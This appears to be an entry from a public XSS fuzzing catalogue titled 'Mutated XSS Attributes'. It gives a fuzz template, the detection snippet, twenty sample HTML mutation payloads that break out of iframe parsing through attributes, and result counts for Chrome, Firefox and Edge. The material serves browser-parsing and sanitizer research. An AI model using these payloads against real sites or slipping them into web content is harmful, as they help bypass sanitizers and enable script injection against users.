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Mutated XSS Attributes

Chrome logo 1.1k
Firefox logo 1.1k
Edge logo 1.1k

Hello, world!

IDKdir
Created byIDKdir
Created Jul 13, 2024
Updated May 27, 2025

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CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
$[data2] placeholderhtml
Template used:
<$[data1]><$[data2] title="</$[data1]><aaa>">
Code used after fuzz:
if (document.querySelector('aaa')) {0x0D
    log('<$[data1]><$[data2] src="</$[data1]>">')0x0D
}

Sample payloads

<<iframe><a src="</iframe>">>< title="</<iframe><a src="</iframe>">><aaa>">
<<iframe><abbr src="</iframe>">>< title="</<iframe><abbr src="</iframe>">><aaa>">
<<iframe><acronym src="</iframe>">>< title="</<iframe><acronym src="</iframe>">><aaa>">
<<iframe><address src="</iframe>">>< title="</<iframe><address src="</iframe>">><aaa>">
<<iframe><area src="</iframe>">>< title="</<iframe><area src="</iframe>">><aaa>">
<<iframe><article src="</iframe>">>< title="</<iframe><article src="</iframe>">><aaa>">
<<iframe><aside src="</iframe>">>< title="</<iframe><aside src="</iframe>">><aaa>">
<<iframe><audio src="</iframe>">>< title="</<iframe><audio src="</iframe>">><aaa>">
<<iframe><b src="</iframe>">>< title="</<iframe><b src="</iframe>">><aaa>">
<<iframe><base src="</iframe>">>< title="</<iframe><base src="</iframe>">><aaa>">
<<iframe><bdi src="</iframe>">>< title="</<iframe><bdi src="</iframe>">><aaa>">
<<iframe><bdo src="</iframe>">>< title="</<iframe><bdo src="</iframe>">><aaa>">
<<iframe><big src="</iframe>">>< title="</<iframe><big src="</iframe>">><aaa>">
<<iframe><blockquote src="</iframe>">>< title="</<iframe><blockquote src="</iframe>">><aaa>">
<<iframe><body src="</iframe>">>< title="</<iframe><body src="</iframe>">><aaa>">
<<iframe><br src="</iframe>">>< title="</<iframe><br src="</iframe>">><aaa>">
<<iframe><button src="</iframe>">>< title="</<iframe><button src="</iframe>">><aaa>">
<<iframe><canvas src="</iframe>">>< title="</<iframe><canvas src="</iframe>">><aaa>">
<<iframe><caption src="</iframe>">>< title="</<iframe><caption src="</iframe>">><aaa>">
<<iframe><center src="</iframe>">>< title="</<iframe><center src="</iframe>">><aaa>">

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 1143 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated17 Feb 2026
Found 1143 results
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Firefox logo
Firefox 147.0 desktop Linux
Updated1 Feb 2026
Found 1143 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1143 results
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